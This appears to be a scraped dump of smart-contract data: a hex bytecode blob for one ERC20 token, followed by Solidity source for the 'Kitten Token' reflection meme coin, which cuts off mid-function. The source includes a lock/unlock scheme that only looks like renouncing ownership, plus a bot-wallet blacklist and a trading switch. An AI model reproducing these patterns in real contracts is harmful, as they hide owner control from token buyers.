00160a01b0316146109b6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6007546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600780546001600160a01b0319169055565b6000438210610a405760405162461bcd60e51b8152600401808060200182810382526029815260200180611c7c6029913960400191505060405180910390fd5b6001600160a01b0383166000908152600b602052604090205463ffffffff1680610a6e576000915050610712565b6001600160a01b0384166000908152600a6020908152604080832063ffffffff600019860181168552925290912054168310610add576001600160a01b0384166000908152600a602090815260408083206000199490940163ffffffff16835292905220600101549050610712565b6001600160a01b0384166000908152600a6020908152604080832083805290915290205463ffffffff16831015610b18576000915050610712565b600060001982015b8163ffffffff168163ffffffff161115610bd157600282820363ffffffff16048103610b4a611bd7565b506001600160a01b0387166000908152600a6020908152604080832063ffffffff808616855290835292819020815180830190925280549093168082526001909301549181019190915290871415610bac576020015194506107129350505050565b805163ffffffff16871115610bc357819350610bca565b6001820392505b5050610b20565b506001600160a01b0385166000908152600a6020908152604080832063ffffffff9094168352929052206001015491505092915050565b6000610c3f82604051806060016040528060248152602001611cf360249139610c3886610c33611216565b611085565b9190611461565b9050610c5383610c4d611216565b8361121a565b610c5d838361177f565b505050565b600c6020526000908152604090205481565b6007546001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106f05780601f106106c5576101008083540402835291602001916106f0565b600061070e610cf1611216565b846107ba85604051806060016040528060258152602001611d816025913960016000610d1b611216565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611461565b6000610d60610d59611216565b8484611306565b33600090815260096020526040808220546001600160a01b038681168452919092205461070e928216911684611642565b6001600160a01b0381166000908152600b602052604081205463ffffffff1680610dbc576000610dee565b6001600160a01b0383166000908152600a6020908152604080832063ffffffff60001986011684529091529020600101545b9392505050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866610e20610664565b80519060200120610e2f611910565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08401526001600160a01b038b1660e084015261010083018a90526101208084018a9052825180850390910181526101408401835280519085012061190160f01b6101608501526101628401829052610182808501829052835180860390910181526101a285018085528151918701919091206000918290526101c2860180865281905260ff8b166101e287015261020286018a90526102228601899052935192965090949293909260019261024280840193601f198301929081900390910190855afa158015610f62573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610fbf576040805162461bcd60e51b815260206004820152601260248201527124b73b30b634b21039b4b3b730ba3ab9329760711b604482015290519081900360640190fd5b6001600160a01b0381166000908152600c602052604090208054600181019091558914611024576040805162461bcd60e51b815260206004820152600e60248201526d24b73b30b634b2103737b731b29760911b604482015290519081900360640190fd5b8742111561106e576040805162461bcd60e51b815260206004820152601260248201527129b4b3b730ba3ab9329032bc3834b932b21760711b604482015290519081900360640190fd5b611078818b61187b565b505050505b505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600a6020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b611109611216565b6001600160a01b031661111a610c74565b6001600160a01b031614611175576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166111ba5760405162461bcd60e51b8152600401808060200182810382526026815260200180611c346026913960400191505060405180910390fd5b6007546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b03831661125f5760405162461bcd60e51b8152600401808060200182810382526024815260200180611d5d6024913960400191505060405180910390fd5b6001600160a01b0382166112a45760405162461bcd60e51b8152600401808060200182810382526022815260200180611c5a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661134b5760405162461bcd60e51b8152600401808060200182810382526025815260200180611d386025913960400191505060405180910390fd5b6001600160a01b0382166113905760405162461bcd60e51b8152600401808060200182810382526023815260200180611bef6023913960400191505060405180910390fd5b61139b838383611914565b6113d881604051806060016040528060268152602001611ca5602691396001600160a01b0386166000908152602081905260409020549190611461565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461140790826114f8565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156114f05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114b557818101518382015260200161149d565b50505050905090810190601f1680156114e25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610dee576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0382166115ad576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6115b960008383611914565b6002546115c690826114f8565b6002556001600160a01b0382166000908152602081905260409020546115ec90826114f8565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b816001600160a01b0316836001600160a01b0316141580156116645750600081115b15610c5d576001600160a01b038316156116f6576001600160a01b0383166000908152600b602052604081205463ffffffff1690816116a45760006116d6565b6001600160a01b0385166000908152600a6020908152604080832063ffffffff60001987011684529091529020600101545b905060006116e4828561199a565b90506116f2868484846119f7565b5050505b6001600160a01b03821615610c5d576001600160a01b0382166000908152600b602052604081205463ffffffff169081611731576000611763565b6001600160a01b0384166000908152600a6020908152604080832063ffffffff60001987011684529091529020600101545b9050600061177182856114f8565b905061107d858484846119f7565b6001600160a01b0382166117c45760405162461bcd60e51b8152600401808060200182810382526021815260200180611d176021913960400191505060405180910390fd5b6117d082600083611914565b61180d81604051806060016040528060228152602001611c12602291396001600160a01b0385166000908152602081905260409020549190611461565b6001600160a01b038316600090815260208190526040902055600254611833908261199a565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b03808316600090815260096020526040812054909116906118a284610927565b6001600160a01b0385811660008181526009602052604080822080546001600160a01b031916898616908117909155905194955093928616927f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a461190a828483611642565b50505050565b4690565b61191f838383610c5d565b6001600160a01b038316610c5d576119356107d2565b61194782611941610718565b906114f8565b1115610c5d576040805162461bcd60e51b815260206004820152601960248201527f45524332304361707065643a2063617020657863656564656400000000000000604482015290519081900360640190fd5b6000828211156119f1576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6000611a38436040518060400160405280601d81526020017f426c6f636b206e756d626572206578636565647320333220626974732e000000815250611b79565b905060008463ffffffff16118015611a8157506001600160a01b0385166000908152600a6020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611abe576001600160a01b0385166000908152600a6020908152604080832063ffffffff60001989011684529091529020600101829055611b2f565b60408051808201825263ffffffff808416825260208083018681526001600160a01b038a166000818152600a84528681208b8616825284528681209551865490861663ffffffff199182161787559251600196870155908152600b9092529390208054928801909116919092161790555b604080518481526020810184905281516001600160a01b038816927fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724928290030190a25050505050565b6000816401000000008410611bcf5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114b557818101518382015260200161149d565b509192915050565b60408051808201909152600080825260208201529056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735468652073706563696669656420626c6f636b206973206e6f74207965742066696e616c697a65642e45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ee8b2206f3fd8a44bdf9b9fb1dfb61ed46f87efe2d2d7658689502c3e3397efc64736f6c634300060c0033
[ 9 ]
0xf1b89109d489f32e4ee4c3863d9973d612278622
/* Kitten Token - KTTN https://t.me/KittenCoinEth Website: https://www.kittencoineth.com/ (placeholder) More than just hype, this is a meme coin with a purpose. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.12; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract KittenToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "Kitten Token"; string private _symbol = "KTTN"; uint8 private _decimals = 9; uint256 public _taxFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 9; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 100000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, 